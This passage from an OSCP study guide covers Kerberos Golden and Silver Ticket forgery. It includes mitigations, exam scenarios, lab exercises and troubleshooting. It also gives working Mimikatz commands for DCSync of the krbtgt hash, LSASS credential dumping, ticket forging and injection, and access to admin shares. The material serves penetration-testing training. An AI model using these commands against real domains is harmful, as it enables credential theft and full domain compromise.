| Strong service account passwords | Use 25+ character random passwords for all service accounts. Makes offline cracking infeasible. |
| Group Managed Service Accounts (gMSA) | gMSAs have auto-rotating 120-character passwords managed by AD. The password is never exposed in plaintext and cannot be easily dumped. This is the BEST mitigation for Silver Tickets. |
| LAPS (Local Administrator Password Solution) | Randomizes local admin passwords on each machine, preventing lateral movement via local admin hashes. |
| Least privilege for service accounts | Service accounts should only have the minimum permissions needed. Never make them domain admins. |
| Regular password rotation | Rotate service account passwords regularly (gMSA does this automatically). |
| Monitor service account usage | Alert on service accounts being used for interactive logons or from unexpected hosts. |
| Network segmentation | Limit which systems can communicate with critical services. |
10.3 gMSA: The Best Defense Against Silver Tickets
# Create a gMSA (requires Enterprise CA or Windows Server 2012+)
# Step 1: Create the gMSA account
New-ADServiceAccount -Name svc_webapp -DNSHostName webapp.corp.local `
-PrincipalsAllowedToRetrieveAllowedPassword "WEBSERVER01$", "WEBSERVER02$"
# Step 2: Install the gMSA on target servers
Install-ADServiceAccount -Identity svc_webapp
# Step 3: Configure the service to use the gMSA
# (IIS, SQL Server, etc. each have their own configuration steps)
# Benefits:
# - 120-character random password, auto-rotated every 30 days
# - Password never stored in plaintext anywhere
# - Cannot be dumped via LSASS (no logon session created)
# - Silver Ticket attack becomes practically impossible
11. OSCP Exam Relevance
11.1 How Often Does This Appear?
| Exam Scenario | Frequency | Difficulty |
|---|---|---|
| Golden Ticket as part of AD pivot | Common | Medium-Hard |
| Silver Ticket for specific service access | Occasional | Hard |
| DCSync → Golden Ticket chain | Very Common | Medium |
| Identifying the difference between Gold and Silver | Common (theory) | Easy |
| Silver Ticket for MSSQL/CIFS access | Occasional | Hard |
11.2 Typical OSCP Exam Scenarios
Scenario 1: Full Domain Compromise via Golden Ticket
You have obtained Domain Admin credentials on box X.
The final flag is on the Domain Controller.
Path:
1. Use DA credentials to perform DCSync and obtain krbtgt hash
2. Forge a Golden Ticket for the Administrator account
3. Use the Golden Ticket to access the DC's admin share
4. Read the root flag
Scenario 2: Silver Ticket for Service Access
You have local admin on a web server.
You need to access a file share on another server.
Path:
1. Dump LSASS on the web server to get the service account hash
2. Forge a Silver Ticket for CIFS on the file server
3. Access the file share and read the user/root flag
Scenario 3: Theory Question
Q: What is the difference between a Golden Ticket and a Silver Ticket?
A: A Golden Ticket is a forged TGT that requires the krbtgt hash and grants
access to any service in the domain. A Silver Ticket is a forged TGS
ticket that requires a service account hash and grants access to only
one specific service.
11.3 Key Things to Remember for the Exam
- Golden Ticket = krbtgt hash = domain-wide access
- Silver Ticket = service hash = single-service access
- Both use
kerberos::goldenin Mimikatz (confusing but true — differentiate by parameters) - Golden Ticket needs
/krbtgtflag; Silver Ticket needs/target:and/service: - Always use
/pttto inject the ticket - krbtgt rotation must happen TWICE to invalidate Golden Tickets
- Neither attack generates KDC event logs — this is a common theory question
- Domain SID is required for both — know how to get it (
whoami /user)
11.4 Common Exam Commands to Memorize
# Golden Ticket (memorize this pattern)
kerberos::golden /user:Administrator /domain:<NETBIOS> /sid:<DOMAIN_SID> \
/rc4:<KRBTGT_HASH> /krbtgt /ptt
# Silver Ticket (memorize this pattern)
kerberos::golden /sid:<DOMAIN_SID> /rc4:<SERVICE_HASH> \
/target:<FQDN> /service:<SERVICE> /user:<USERNAME> /domain:<NETBIOS> /ptt
# DCSync for krbtgt (memorize this)
lsadump::dcsync /user:krbtgt /domain:<FQDN>
# Get Domain SID (memorize this)
whoami /user
12. Lab Practice Suggestions
12.1 Golden Ticket Lab
Environment: Active Directory lab with at least 1 DC and 1 workstation.
Exercise 1: Basic Golden Ticket
- Obtain DA credentials on your lab domain
- Use Mimikatz to perform DCSync and extract the krbtgt hash
- Get the domain SID using
whoami /user - Forge a Golden Ticket for the Administrator account
- Verify with
klist - Access the DC’s C$ share
- Read a file from the DC
Exercise 2: Golden Ticket with Custom Groups
- Forge a Golden Ticket adding yourself to Domain Admins (RID 512)
- Use a non-existent username (e.g.,
$hidden) - Verify you can still access admin resources
- Try adding Enterprise Admins group (RID 518) if in a multi-domain forest
Exercise 3: krbtgt Rotation
- Forge a Golden Ticket with the current krbtgt hash
- Rotate the krbtgt password once
- Verify the Golden Ticket still works (it should!)
- Wait for TGT expiration (or reduce TGT lifetime in GPO for the lab)
- Rotate the krbtgt password a second time
- Verify the Golden Ticket no longer works
12.2 Silver Ticket Lab
Environment: Active Directory lab with a file server or web server running a service under a dedicated service account.
Exercise 1: Basic Silver Ticket
- Set up a file share on a server using a dedicated service account
- Obtain the service account’s NTLM hash (dump LSASS on the server)
- Forge a Silver Ticket for CIFS on that server
- Access the file share from a different machine
- Verify you CANNOT access other services with the same ticket
Exercise 2: Silver Ticket for Different Services
- Set up IIS on a server with a dedicated service account
- Forge a Silver Ticket for HTTP on that server
- Access the web application
- Forge a separate Silver Ticket for CIFS on the same server
- Compare the two tickets using
klist
Exercise 3: Silver Ticket vs Golden Ticket
- Forge a Silver Ticket for CIFS on a file server
- Try to access the DC — it should fail
- Now forge a Golden Ticket
- Access both the file server AND the DC
- Observe the difference in scope
12.3 Recommended Labs
| Lab | Platform | Focus |
|---|---|---|
| HackTheBox: Active Directory Learn Path | HTB | Comprehensive AD attacks including ticket forgery |
| HackTheBox: Docker | HTB | Service account compromise → Silver Ticket |
| HackTheBox: Exchange | HTB | Kerberos attacks in enterprise environment |
| TryHackMe: Active Directory Attacks | THM | Beginner-friendly AD attack path |
| CrackMapExec / NetExec labs | Self-hosted | Practice credential dumping and ticket manipulation |
| Grimm’s AD Home Lab | Self-hosted | Full AD lab with all attack paths |
13. Common Pitfalls and Troubleshooting
13.1 Golden Ticket Pitfalls
| Problem | Cause | Solution |
|---|---|---|
| Ticket not injected | Forgot /ptt flag |
Always include /ptt at the end of the command |
| Access denied after injection | Wrong Domain SID | Double-check the SID with whoami /user |
| Ticket shows wrong user | Wrong RID in /id: parameter |
Use 500 for Administrator |
| Cannot access DC | Domain name mismatch | Use the NetBIOS name (short name) for /domain: in Mimikatz |
| krbtgt hash has two values | Normal — old and new hash from previous rotation | Use either one; the newer one is safer |
| AES ticket fails | Domain enforces AES; you used RC4 hash | Get the AES key from DCSync output and use /aes256: instead |
| Mimikatz says “error” | Running without admin/segregated privileges | Run Mimikatz as Administrator or SYSTEM |
13.2 Silver Ticket Pitfalls
| Problem | Cause | Solution |
|---|---|---|
| Wrong service name | Used wrong service class | Use setspn -Q */hostname to find the correct SPN |
| Wrong target hostname | Used short name instead of FQDN | Always use the FQDN (e.g., fileserver.corp.local) |
| Access denied | Wrong service account hash | Ensure you have the hash of the account running the target service |
| Ticket works but access denied | Service account doesn’t have permissions on the resource | The ticket grants authentication, not authorization. The service account needs proper ACLs. |
| Cannot access other services | Expected behavior — Silver Ticket is service-specific | Forge a separate Silver Ticket for each service you need |
13.3 General Troubleshooting
# Always verify your ticket after injection
klist
# Check for the right ticket type
# Golden Ticket: Look for krbtgt in the Server column
# Silver Ticket: Look for the specific service (cifs, HTTP, etc.) in the Server column
# If klist shows no tickets, the injection failed
# Re-run the command with /ptt
# To remove all tickets (start fresh)
klist purge
# To check current domain info
klist get krbtgt
# To verify domain SID
(Get-ADDomain).DomainSID
# To verify the krbtgt hash you extracted
lsadump::dcsync /user:krbtgt /domain:corp.local
# Compare with the hash you're using in the ticket command
13.4 Debugging Checklist
□ Are you running Mimikatz/Rubeus as Administrator or SYSTEM?
□ Did you include the /ptt flag?
□ Is the Domain SID correct? (verify with whoami /user)
□ Is the domain name the NetBIOS name? (verify with systeminfo)
□ Is the krbtgt/service hash correct? (verify with DCSync/LSASS dump)
□ For Silver Ticket: Is the target hostname the FQDN?
□ For Silver Ticket: Is the service name correct? (verify with setspn)
□ Did you run klist to verify the ticket was injected?
□ Did you run klist purge before trying again? (stale tickets can interfere)
14. Quick Reference Card
Golden Ticket — One-Liner
# 1. Get krbtgt hash
lsadump::dcsync /user:krbtgt /domain:corp.local
# 2. Get Domain SID
whoami /user
# 3. Forge and inject Golden Ticket
kerberos::golden /user:Administrator /domain:CORP /sid:S-1-5-21-XXX-XXX-XXX \
/rc4:<krbtgt_hash> /krbtgt /id:500 /groups:512,513 /ptt
# 4. Verify
klist
# 5. Access
dir \\dc01.corp.local\C$
Silver Ticket — One-Liner
# 1. Get service account hash (from LSASS dump on service server)
sekurlsa::logonpasswords
# 2. Get Domain SID
whoami /user
# 3. Find service SPN
setspn -Q */fileserver.corp.local
# 4. Forge and inject Silver Ticket
kerberos::golden /sid:S-1-5-21-XXX-XXX-XXX /rc4:<service_hash> \
/target:fileserver.corp.local /service:cifs /user:attacker \
/domain:CORP /ptt
# 5. Verify
klist
# 6. Access
dir \\fileserver.corp.local\C$
Key Differences — At a Glance
┌─────────────────┬──────────────────────┬──────────────────────┐
│ │ GOLDEN TICKET │ SILVER TICKET │
├─────────────────┼──────────────────────┼──────────────────────┤
│ Forges │ TGT │ TGS (Service Ticket) │
│ Needs hash of │ krbtgt │ Service account │
│ Scope │ Entire domain │ One service only │
│ Mimikatz flag │ /krbtgt │ /target: + /service: │
│ Rubeus cmd │ golden │ tgs │
│ Impact │ Domain Admin │ Service-level access │
│ Detection │ Hard │ Very hard │
│ Mitigation │ Rotate krbtgt 2x │ gMSA, strong passwords│
└─────────────────┴──────────────────────┴──────────────────────┘
Summary: Golden Tickets and Silver Tickets are both powerful Kerberos forgery attacks. Golden Tickets forge TGTs using the krbtgt hash for domain-wide access, while Silver Tickets forge TGS tickets using service account hashes for targeted service access. Both bypass the KDC entirely, making them extremely difficult to detect. Understanding when to use each — and how to properly gather the required information — is essential for OSCP exam success and real-world Active Directory penetration testing.